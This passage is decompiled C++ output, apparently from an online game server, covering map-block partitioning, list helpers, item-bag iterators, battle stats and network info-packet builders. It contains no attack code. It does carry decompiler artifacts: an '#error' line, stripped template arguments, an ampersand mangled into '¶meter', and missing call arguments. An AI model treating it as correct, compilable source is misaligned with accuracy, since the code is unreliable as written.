eax@5 BlockDistribute::BlockingDistribute *v4; // ecx@7 v1 = this->bd_Brench[0]; if ( v1 ) v1->bd_Act = 0; v2 = this->bd_Brench[1]; if ( v2 ) v2->bd_Act = 0; v3 = this->bd_Brench[2]; if ( v3 ) v3->bd_Act = 0; v4 = this->bd_Brench[3]; if ( v4 ) v4->bd_Act = 0; } //----- (00426FB0) -------------------------------------------------------- void __thiscall BlockDistribute::BlockDistributeManager::BlockDistributeManager(BlockDistribute::BlockDistributeManager *this) { BlockDistribute::BlockDistributeManager *v1; // ebp@1 int v2; // esi@1 signed int v3; // edi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x10u, 64, (void (__thiscall *)(void *))KQRegenTable::Element::Element, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = (int)&v1->bdm_Array[0].mapid.n3_name[4]; v3 = 64; do { *(_DWORD *)(v2 + 4) = 0; *(_DWORD *)v2 = 0; *(_DWORD *)(v2 - 4) = 0; strncpy((char *)(v2 - 4), byte_59A24E, 0xCu); *(_DWORD *)(v2 + 8) = 0; v2 += 16; --v3; } while ( v3 ); } //----- (00427000) -------------------------------------------------------- void __thiscall BlockDistribute::BlockDistributeManager::_BlockDistributeManager(BlockDistribute::BlockDistributeManager *this) { char *v1; // eax@1 signed int v2; // esi@1 int v3; // edx@2 int v4; // edx@6 int v5; // edx@8 v1 = (char *)&this->bdm_Array[1].block; v2 = 16; do { v3 = *((_DWORD *)v1 - 4); if ( v3 ) *(_BYTE *)(v3 + 28) = 0; if ( *(_DWORD *)v1 ) *(_BYTE *)(*(_DWORD *)v1 + 28) = 0; v4 = *((_DWORD *)v1 + 4); if ( v4 ) *(_BYTE *)(v4 + 28) = 0; v5 = *((_DWORD *)v1 + 8); if ( v5 ) *(_BYTE *)(v5 + 28) = 0; v1 += 64; --v2; } while ( v2 ); _eh_vector_destructor_iterator_( this, 0x10u, 64, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00427050) -------------------------------------------------------- void __thiscall std::_List_nod>::_Node::__Node(std::_List_nod >::_Node *this) { BlockDistribute::BlockingDistribute *v1; // eax@1 BlockDistribute::BlockingDistribute *v2; // eax@3 BlockDistribute::BlockingDistribute *v3; // eax@5 BlockDistribute::BlockingDistribute *v4; // ecx@7 v1 = this->_Myval.bd_Brench[0]; if ( v1 ) v1->bd_Act = 0; v2 = this->_Myval.bd_Brench[1]; if ( v2 ) v2->bd_Act = 0; v3 = this->_Myval.bd_Brench[2]; if ( v3 ) v3->bd_Act = 0; v4 = this->_Myval.bd_Brench[3]; if ( v4 ) v4->bd_Act = 0; } //----- (00427080) -------------------------------------------------------- std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this) { std::_List_nod >::_Node *result; // eax@1 result = (std::_List_nod >::_Node *)operator new(0x28u); if ( result ) result->_Next = result; if ( result != (std::_List_nod >::_Node *)-4 ) result->_Prev = result; return result; } //----- (004270A0) -------------------------------------------------------- std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this, std::_List_nod >::_Node *_Next, std::_List_nod >::_Node *_Prev, BlockDistribute::BlockingDistribute *_Val) { std::_List_nod >::_Node *result; // eax@1 result = (std::_List_nod >::_Node *)operator new(0x28u); if ( result ) { result->_Next = _Next; result->_Prev = _Prev; memcpy(&result->_Myval, _Val, sizeof(result->_Myval)); } return result; } //----- (004270D0) -------------------------------------------------------- void __thiscall std::list>::clear(std::list > *this) { std::list > *v1; // edi@1 std::_List_nod >::_Node *v2; // eax@1 std::_List_nod >::_Node *v3; // esi@1 std::_List_nod >::_Node *v4; // eax@1 std::_List_nod >::_Node *v5; // ebx@2 v1 = this; v2 = this->_Myhead; v3 = v2->_Next; v2->_Next = v2; v4 = this->_Myhead; v4->_Prev = v4; this->_Mysize = 0; if ( v3 != v4 ) { do { v5 = v3->_Next; std::_List_nod>::_Node::__Node(v3); operator delete(v3); v3 = v5; } while ( v5 != v1->_Myhead ); } } //----- (00427110) -------------------------------------------------------- void __thiscall std::list>::remove_if(std::list > *this, bool (__cdecl *_Pred)(BlockDistribute::BlockingDistribute *)) { std::list > *v2; // edi@1 std::_List_nod >::_Node *v3; // ebp@1 std::_List_nod >::_Node *v4; // esi@1 std::_List_nod >::_Node *v5; // ebx@3 v2 = this; v3 = this->_Myhead; v4 = v3->_Next; while ( v4 != v3 ) { if ( _Pred(&v4->_Myval) ) { v5 = v4->_Next; if ( v4 != v2->_Myhead ) { v4->_Prev->_Next = v5; v4->_Next->_Prev = v4->_Prev; std::_List_nod>::_Node::__Node(v4); operator delete(v4); --v2->_Mysize; } v4 = v5; } else { v4 = v4->_Next; } } } //----- (00427170) -------------------------------------------------------- void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count) { unsigned int v2; // eax@1 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v5; // [sp+50h] [bp-4h]@2 v2 = this->_Mysize; if ( (unsigned int)&wholesaver.ws_savestore[1593].esc_skill.buffer[-v2 + 11907] < _Count ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "list too long", 0x10u); v5 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } this->_Mysize = _Count + v2; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00427210) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistributeList::BlockingDistributeList(BlockDistribute::BlockingDistributeList *this) { BlockDistribute::BlockingDistributeList *v1; // esi@1 v1 = this; this->bdl_List._Myhead = std::list>::_Buynode(&this->bdl_List); v1->bdl_List._Mysize = 0; } //----- (00427230) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistributeList::_BlockingDistributeList(BlockDistribute::BlockingDistributeList *this) { BlockDistribute::BlockingDistributeList *v1; // esi@1 v1 = this; std::list>::clear(&this->bdl_List); operator delete(v1->bdl_List._Myhead); v1->bdl_List._Myhead = 0; } //----- (00427250) -------------------------------------------------------- BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockingDistributeList::bdl_New(BlockDistribute::BlockingDistributeList *this) { BlockDistribute::BlockingDistributeList *v1; // esi@1 std::_List_nod >::_Node *v2; // edi@1 std::_List_nod >::_Node *v3; // ecx@1 std::_List_nod >::_Node *v4; // ebx@1 BlockDistribute::BlockingDistribute *result; // eax@1 BlockDistribute::BlockingDistribute _Val; // [sp+Ch] [bp-2Ch]@1 int v7; // [sp+34h] [bp-4h]@1 v1 = this; _Val.bd_Act = 0; _Val.bd_Brench[3] = 0; _Val.bd_Brench[2] = 0; _Val.bd_Brench[1] = 0; _Val.bd_Brench[0] = 0; v2 = this->bdl_List._Myhead; v3 = v2->_Prev; v7 = 0; v4 = std::list>::_Buynode( &v1->bdl_List, v2, v3, &_Val); std::list>::_Incsize( &v1->bdl_List, 1u); v2->_Prev = v4; v4->_Prev->_Next = v4; result = &v1->bdl_List._Myhead->_Prev->_Myval; v1->bdl_List._Myhead->_Prev->_Myval.bd_Act = 1; return result; } //----- (004272D0) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistribute::bd_Initialize(BlockDistribute::BlockingDistribute *this, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right) { int v6; // ebx@1 BlockDistribute::BlockingDistribute *v7; // esi@1 BlockDistribute::BlockingDistribute *v8; // eax@10 int v9; // edi@10 int v10; // ebp@10 BlockDistribute::BlockingDistribute *v11; // eax@10 BlockDistribute::BlockingDistribute *v12; // eax@10 BlockDistribute::BlockingDistribute *v13; // eax@10 BlockDistribute::BlockingDistribute *v14; // eax@10 BlockDistribute::BlockingDistribute *v15; // eax@12 BlockDistribute::BlockingDistribute *v16; // eax@14 BlockDistribute::BlockingDistribute *v17; // eax@16 int v18; // [sp+10h] [bp-4h]@7 int topa; // [sp+1Ch] [bp+8h]@8 v6 = top; v7 = this; if ( top >= 60000 || bottom >= 60000 || left >= 60000 || right >= 60000 ) { AssertClass::ac_AssertFail(&shineassert, "Too small size", 0); ShineExit("BlockDistribute::BlockingDistribute::BlockingDistribute"); } v18 = (unsigned __int16)top; this->bd_Top = top; this->bd_Bottom = bottom; this->bd_Left = left; this->bd_Right = right; if ( (unsigned __int16)top - (unsigned __int16)bottom >= 100 || (topa = (unsigned __int16)right, (unsigned __int16)right - (unsigned __int16)left >= 100) ) { v8 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v9 = (left + right) / 2; v10 = (v6 + bottom) / 2; v7->bd_Brench[0] = v8; BlockDistribute::BlockingDistribute::bd_Initialize(v8, blockinfo, v6, v10, left, v9); v11 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v7->bd_Brench[1] = v11; BlockDistribute::BlockingDistribute::bd_Initialize(v11, blockinfo, v6, v10, v9, right); v12 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v7->bd_Brench[2] = v12; BlockDistribute::BlockingDistribute::bd_Initialize(v12, blockinfo, v10, bottom, left, v9); v13 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v7->bd_Brench[3] = v13; BlockDistribute::BlockingDistribute::bd_Initialize(v13, blockinfo, v10, bottom, v9, right); v14 = v7->bd_Brench[0]; if ( !v14->bd_EmptyCellNum ) { v14->bd_Act = 0; v7->bd_Brench[0] = 0; } v15 = v7->bd_Brench[1]; if ( !v15->bd_EmptyCellNum ) { v15->bd_Act = 0; v7->bd_Brench[1] = 0; } v16 = v7->bd_Brench[2]; if ( !v16->bd_EmptyCellNum ) { v16->bd_Act = 0; v7->bd_Brench[2] = 0; } v17 = v7->bd_Brench[3]; if ( !v17->bd_EmptyCellNum ) { v17->bd_Act = 0; v7->bd_Brench[3] = 0; } v7->bd_EmptyCellNum = 0; v7->bd_Brenchs = 0; if ( v7->bd_Brench[0] ) { v7->bd_Brenchs = 1; v7->bd_EmptyCellNum = v7->bd_Brench[0]->bd_EmptyCellNum; } if ( v7->bd_Brench[1] ) { ++v7->bd_Brenchs; v7->bd_EmptyCellNum += v7->bd_Brench[1]->bd_EmptyCellNum; } if ( v7->bd_Brench[2] ) { ++v7->bd_Brenchs; v7->bd_EmptyCellNum += v7->bd_Brench[2]->bd_EmptyCellNum; } if ( v7->bd_Brench[3] ) { ++v7->bd_Brenchs; v7->bd_EmptyCellNum += v7->bd_Brench[3]->bd_EmptyCellNum; } } else { this->bd_EmptyCellNum = MapBlock::MapBlockInformation::mbi_IsMoveBlock( blockinfo, ((unsigned __int16)bottom + v18) / 2, (topa + (unsigned __int16)left) / 2) == 0; v7->bd_Brench[3] = 0; v7->bd_Brench[2] = 0; v7->bd_Brench[1] = 0; v7->bd_Brench[0] = 0; v7->bd_Brenchs = 0; } } //----- (004274E0) -------------------------------------------------------- BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockDistributeManager::bdm_Find(BlockDistribute::BlockDistributeManager *this, Name3 *mapid, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right) { BlockDistribute::BlockDistributeManager *v7; // ebx@1 unsigned int v8; // esi@1 char *v9; // eax@1 char *v10; // esi@10 BlockDistribute::BlockingDistribute *v11; // eax@10 v7 = this; v8 = 0; v9 = &this->bdm_Array[0].mapid.n3_name[8]; do { if ( *((_DWORD *)v9 - 2) == *(_DWORD *)&mapid->n3_name[0] && *((_DWORD *)v9 - 1) == *(_DWORD *)&mapid->n3_name[4] && *(_DWORD *)v9 == *(_DWORD *)&mapid->n3_name[8] ) { MapBlock::MapDoorArray::mda_CloseAllDoor(&blockinfo->mbi_DoorBlockInform, blockinfo); return v7->bdm_Array[v8].block; } if ( !*((_DWORD *)v9 + 1) ) break; ++v8; v9 += 16; } while ( v8 < 0x40 ); if ( v8 >= 0x40 ) { AssertClass::ac_AssertFail( &shineassert, "BlockDistribute::BlockDistributeManager::bdm_Find : Too many BlockDistribute", 0); ShineExit("BlockDistribute::BlockDistributeManager::bdm_Find"); } v10 = (char *)this + 16 * v8; *(_QWORD *)v10 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v10 + 2) = *(_DWORD *)&mapid->n3_name[8]; MapBlock::MapDoorArray::mda_CloseAllDoor(&blockinfo->mbi_DoorBlockInform, blockinfo); v11 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); *((_DWORD *)v10 + 3) = v11; BlockDistribute::BlockingDistribute::bd_Initialize(v11, blockinfo, top, bottom, left, right); std::list>::remove_if( &g_BlockingDistributeList.bdl_List, BlockDistribute::BlockingDistribute::bd_Inactiv); return (BlockDistribute::BlockingDistribute *)*((_DWORD *)v10 + 3); } //----- (004275D0) -------------------------------------------------------- void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::Reset(PROTO_NC_CHAR_WEDDINGDATA_ACK *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = this->___u4.SubWhen._bf0; LOBYTE(this->When._bf0) = 0; this->When._bf0 = v2; this->header.clienthandle = -1; this->header.charregistnumber = -1; this->Status._bf0 = 0; *(_DWORD *)&this->gap12[11] = 0; *(_DWORD *)&this->gap12[7] = 0; *(_DWORD *)&this->gap12[3] = 0; *(_DWORD *)&this->Partner._bf0 = 0; strncpy(&this->Partner._bf0, byte_59A24E, 0x10u); v1->WeddingCount = 0; v1->RefusalCount = 0; *(_DWORD *)&v1->gap12[15] = -1; } //----- (00427620) -------------------------------------------------------- void __thiscall BattleStat::bs_Clear(BattleStat *this) { this->bs_KnockDownNum = 0; this->bs_HittedNum = 0; this->bs_CriticalNum = 0; this->bs_SkillBlast = 0; this->bs_HealAmount = 0; this->bs_DamageAmount = 0; this->bs_KillScore = 0; this->bs_Dead = 0; this->bs_Kill = 0; this->bs_Score = 10000; } //----- (00427660) -------------------------------------------------------- DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, int num) { DebugLogging *v2; // esi@1 _iobuf *v3; // eax@3 v2 = this; if ( DebugLogging::dl_ActivAll ) { if ( this->dl_Activ ) { DebugLogging::dl_FilePoint(this); v3 = v2->dl_FilePointer; if ( v3 ) fprintf(v3, "%d"); } } return v2; } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004276A0) -------------------------------------------------------- void __thiscall MobAttackSequence::AttackElement4Mob::AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this) { MobAttackSequence::AttackElement4Mob *v1; // esi@1 v1 = this; MobAttackSequence::SkillChangeList::SkillChangeList(&this->ae4m_OutOfRangeBody); MobAttackSequence::SkillChangeList::SkillChangeList(&v1->ae4m_HPLowBody); MobAttackSequence::SkillChangeList::SkillChangeList(&v1->ae4m_TargetStateBody); MobAttackSequence::SkillChangeList::SkillChangeList(&v1->ae4m_SaveNextSkillBody); } //----- (00427710) -------------------------------------------------------- void __thiscall MobAttackSequence::AttackElement4Mob::_AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this) { MobAttackSequence::AttackElement4Mob *v1; // esi@1 v1 = this; List::_List((ItemLotAnalyser::LotAnalyser *)&this->ae4m_SaveNextSkillBody); List::_List((ItemLotAnalyser::LotAnalyser *)&v1->ae4m_TargetStateBody); List::_List((ItemLotAnalyser::LotAnalyser *)&v1->ae4m_HPLowBody); List::_List((ItemLotAnalyser::LotAnalyser *)&v1->ae4m_OutOfRangeBody); } //----- (00427790) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_Reset(ItemLotInspector *this) { unsigned int v1; // edx@1 v1 = 248 * (this->ili_ArrayPointer.mask & (this->ili_ArrayPointer.value + 1)); this->ili_ArrayPointer.value = this->ili_ArrayPointer.mask & (this->ili_ArrayPointer.value + 1); this->ili_Action = 0; *(_WORD *)&this->gap4[v1 + 4] = -1; this->gap4[v1 + 228] = 0; this->gap4[v1 + 220] = 0; this->gap4[v1 + 112] = 0; this->gap4[v1 + 6] = 0; } //----- (004277D0) -------------------------------------------------------- void __thiscall ItemBoxIterItem::ItemBoxIterItem(ItemBoxIterItem *this, ItemBag *ib, ChargedEffectContainer *cec) { ItemBoxIterItem *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) { this->baseclass_0.ibi_Limit = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; } else { this->baseclass_0.ibi_Limit = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; } } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00427820) -------------------------------------------------------- void __thiscall ItemBoxIterEmpty::ItemBoxIterEmpty(ItemBoxIterEmpty *this, ItemBag *ib, ChargedEffectContainer *cec) { ItemBoxIterEmpty *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) { this->baseclass_0.ibi_Limit = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; } else { this->baseclass_0.ibi_Limit = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; } } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); //----- (00427870) -------------------------------------------------------- void __thiscall ItemBoxIterIdent::ItemBoxIterIdent(ItemBoxIterIdent *this, ItemBag *ib, unsigned __int16 ident, ChargedEffectContainer *cec) { ItemBoxIterIdent *v4; // esi@1 int v5; // eax@2 v4 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) v5 = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); else v5 = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v4->baseclass_0.ibi_Limit = v5; v4->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; v4->ibii_ident = ident; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004278B0) -------------------------------------------------------- void __thiscall ItemBoxIterator::_ItemBoxIterator(ItemBoxIterItemRegNo *this) { this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (004278C0) -------------------------------------------------------- char __thiscall ItemBoxIterator::ibi_Home(ItemBoxIterator *this) { ItemBoxIterator *v1; // esi@1 ItemBoxIteratorVtbl *v2; // eax@1 char result; // al@2 v1 = this; v2 = this->vfptr; this->ibi_finger = 0; if ( (unsigned __int8)((int (*)(void))v2->ibi_isvalid)() ) result = 1; else result = ItemBoxIterator::ibi_Next(v1); return result; } //----- (004278E0) -------------------------------------------------------- ItemInventoryCell *__thiscall ItemBoxIterator::ibi_Get(ItemBoxIterator *this) { return (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))this->ibi_itembag)(this->ibi_finger); } //----- (004278F0) -------------------------------------------------------- unsigned __int16 __thiscall ItemInventoryCell::iic_ItemIdent(ItemInform_ActionItem *this) { return this->iiai_ItemID; } //----- (00427900) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(int this) { return *(_WORD *)(this + 4); } //----- (00427910) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLock::icl_IncIndex(InventoryLocking::InventoryCellLock *this) { ++this->icl_Index; } //----- (00427920) -------------------------------------------------------- void __thiscall InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator(InventoryLocking::UnlockedInventoryIterator *this, int type, ItemBoxIterator *iter, InventoryLocking::InventoryCellLock *lcklst) { this->uii_Iterator = iter; this->uii_LockList = lcklst; this->uii_InvenType = type; } //----- (00427940) -------------------------------------------------------- ItemInventoryCell *__thiscall InventoryLocking::UnlockedInventoryIterator::uii_Get(InventoryLocking::UnlockedInventoryIterator *this) { return (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))this->uii_Iterator->ibi_itembag)(this->uii_Iterator->ibi_finger); } //----- (00427950) -------------------------------------------------------- int __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Slot(InventoryLocking::UnlockedInventoryIterator *this) { return this->uii_Iterator->ibi_finger; } //----- (00427960) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_HideMyIdentity(BriefInformationCharacter *this) { BriefInformationCharacter *v1; // esi@1 char *v2; // ST00_4@1 v1 = this; v2 = (char *)&this->bic_BriefInfo->charid; *(_DWORD *)&this->bic_BriefInfo->charid.n4_name[12] = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 1) = 0; *(_DWORD *)v2 = 0; strncpy(v2, "???", 0x10u); v1->bic_BriefInfo->chartitle.Type = 0; v1->bic_BriefInfo->chartitle.ElementNo = 0; v1->bic_BriefInfo->chartitle.MobID = -1; v1->bic_BriefInfo->myguild = 0; } //----- (004279C0) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_ShowMyIdentity(BriefInformationCharacter *this, ZoneCharData *chardata, char Type, char ElementNo, unsigned __int16 MobID, unsigned int gld) { char *v6; // eax@1 v6 = (char *)&this->bic_BriefInfo->charid; *(_QWORD *)v6 = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[0]; *((_QWORD *)v6 + 1) = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[8]; this->bic_BriefInfo->chartitle.Type = Type; this->bic_BriefInfo->chartitle.ElementNo = ElementNo; this->bic_BriefInfo->chartitle.MobID = MobID; this->bic_BriefInfo->myguild = gld; } //----- (00427A30) -------------------------------------------------------- void __thiscall BriefInfoDelete::BriefInfoDelete(BriefInfoDelete *this) { BriefInfoDelete *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bid_Pack.pp_PacketLength = 0; this->bid_Pack.pp_Buffer = this->bid_Array; this->bid_Pack.pp_BufferSize = 128; ProtocolPacket::pp_SetPacketLen(&this->bid_Pack, 4); v2 = v1->bid_Pack.pp_Buffer; v1->bid_nc = (NETCOMMAND *)v1->bid_Pack.pp_Buffer; v1->bid_BriefDelete = (PROTO_NC_BRIEFINFO_BRIEFINFODELETE_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bid_nc->protocol = v1->bid_nc->protocol & 0xFC0E | 0xE; } //----- (00427A90) -------------------------------------------------------- void __thiscall BriefInformationAbstate::BriefInformationAbstate(BriefInformationAbstate *this) { BriefInformationAbstate *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bia_abStateBuffer; v1->bia_Packet.pp_Buffer = v2; v1->bia_Packet.pp_PacketLength = 0; v1->bia_Packet.pp_BufferSize = 365; *(_WORD *)v2 = 7193; v1->bia_nc = (NETCOMMAND *)v2; v1->bia_Pointer = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(v2 + 2); } //----- (00427AC0) -------------------------------------------------------- #error "427AC0: undefined or illegal type '#331' (funcsize=19)" //----- (00427AF0) -------------------------------------------------------- void __thiscall Parameter::Container::c_clear(Parameter::Container *this) { memcpy((void *)this, ¶meter_eraser_plus, 0xC4u); memcpy(&this->Item, ¶meter_eraser_plus, 0xC4u); memcpy(&this->Item.Rate, ¶meter_eraser_rate, sizeof(this->Item.Rate)); memcpy(&this->ItemPowerRate, ¶meter_eraser_plus, 0xC4u); memcpy(&this->ItemPowerRate.Rate, ¶meter_eraser_rate, sizeof(this->ItemPowerRate.Rate)); memcpy(&this->Upgrade, ¶meter_eraser_plus, 0xC4u); memcpy(&this->Upgrade.Rate, ¶meter_eraser_rate, sizeof(this->Upgrade.Rate)); memcpy(&this->WeaponTitle, ¶meter_eraser_plus, 0xC4u); memcpy(&this->WeaponTitle.Rate, ¶meter_eraser_rate, sizeof(this->WeaponTitle.Rate)); memcpy(&this->PassiveSkill, ¶meter_eraser_plus, 0xC4u); memcpy(&this->PassiveSkill.Rate, ¶meter_eraser_rate, sizeof(this->PassiveSkill.Rate)); memcpy(&this->AbnormalState, ¶meter_eraser_plus, 0xC4u); memcpy(&this->AbnormalState.Rate, ¶meter_eraser_rate, sizeof(this->AbnormalState.Rate)); memcpy(&this->LastTune, ¶meter_eraser_plus, 0xC4u); memcpy(&this->LastTune.Rate, ¶meter_eraser_rate, sizeof(this->LastTune.Rate)); this->ChangeAbilityInfo = -1; this->DamageReflection = 0; this->MissPercentFix = 0; this->HealRate = 1000; this->WeaponTitle.Rate.CriDamRate = 0; this->WeaponTitle.Rate.MagCriDamRate = 0; } //----- (00427C30) -------------------------------------------------------- void __thiscall Parameter::Container::c_StoreMob(Parameter::Container *this, MobDataBox::MobDataBoxIndex *mobdatabox) { memcpy((void *)this, ¶meter_eraser_plus, 0xC4u); this->PureCharParam.Str = mobdatabox->serv->Str; this->PureCharParam.Con = mobdatabox->serv->Con; this->PureCharParam.Dex = mobdatabox->serv->Dex; this->PureCharParam.Int = mobdatabox->serv->Int; this->PureCharParam.Men = mobdatabox->serv->Men; this->PureCharParam.WCmax = 0; this->PureCharParam.WCmin = 0; this->PureCharParam.AC = mobdatabox->serv->AC; this->PureCharParam.TH = 0; this->PureCharParam.TB = mobdatabox->serv->TB; this->PureCharParam.MAmax = 0; this->PureCharParam.MAmin = 0; this->PureCharParam.MR = mobdatabox->serv->MR; this->PureCharParam.MH = 0; this->PureCharParam.MB = mobdatabox->serv->MB; this->PureCharParam.MoveSpeed = 1000; this->PureCharParam.HPRecover = 1000; this->PureCharParam.SPRecover = 1000; this->PureCharParam.CastingTime = 0; this->PureCharParam.Critical = 0; this->PureCharParam.PhisycalWeaponMastery = 0; this->PureCharParam.MagicalWeaponMastery = 0; this->PureCharParam.ShieldAC = 0; this->PureCharParam.HitRate = 0; this->PureCharParam.EvaRate = 0; this->PureCharParam.MACri = 0; this->PureCharParam.CriDam = 0; this->PureCharParam.MagCriDam = 0; } //----- (00427CF0) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionRoaming::mar_Init(MobTacticElement::MobActionRoaming *this, ShineObjectClass::RoamingInformation *roaminfo) { MobTacticElement::MobActionBase *result; // eax@1 result = (MobTacticElement::MobActionBase *)this; HIBYTE(roaminfo->_bf0) = 0; return result; } //----- (00427D00) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_door_Build(int pmap, int x, int y, int dir, __int16 handle, __int16 mobid, int scale) { return 1; } //----- (00427D10) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::BriefInfoExchangeCharacter(BriefInfoExchanger::BriefInfoExchangeCharacter *this) { BriefInfoExchanger::BriefInfoExchangeCharacter *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixc_Packetbuffer; v1->bixc_Packet.pp_Buffer = v2; v1->bixc_nc = (NETCOMMAND *)v2; v1->bixc_Packet.pp_PacketLength = 0; v1->bixc_Packet.pp_BufferSize = 4464; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixc_nc->protocol = v1->bixc_nc->protocol & 0xFC07 | 7; v1->bixc_Pointer = (PROTO_NC_BRIEFINFO_CHARACTER_CMD *)&v1->bixc_nc[1]; } //----- (00427D70) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::BriefInfoExchangeMob(BriefInfoExchanger::BriefInfoExchangeMob *this) { BriefInfoExchanger::BriefInfoExchangeMob *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixm_Packetbuffer; v1->bixm_Packet.pp_Buffer = v2; v1->bixm_nc = (NETCOMMAND *)v2; v1->bixm_Packet.pp_PacketLength = 0; v1->bixm_Packet.pp_BufferSize = 1984; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixm_nc->protocol = v1->bixm_nc->protocol & 0xFC09 | 9; v1->bixm_Pointer = (PROTO_NC_BRIEFINFO_MOB_CMD *)&v1->bixm_nc[1]; } //----- (00427DD0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(BriefInfoExchanger::BriefInfoExchangeMob *this) { PROTO_NC_BRIEFINFO_MOB_CMD *v1; // eax@2 if ( this->bixm_Pointer ) { this->bixm_Pointer->mobnum = 0; } else { this->bixm_Packet.pp_Buffer = this->bixm_Packetbuffer; this->bixm_nc = (NETCOMMAND *)this->bixm_Packetbuffer; this->bixm_Packet.pp_BufferSize = 1984; *(_WORD *)&this->bixm_Packetbuffer[0] = *(_WORD *)&this->bixm_Packetbuffer[0] & 0x3FF | 0x1C00; this->bixm_nc->protocol = this->bixm_nc->protocol & 0xFC09 | 9; v1 = (PROTO_NC_BRIEFINFO_MOB_CMD 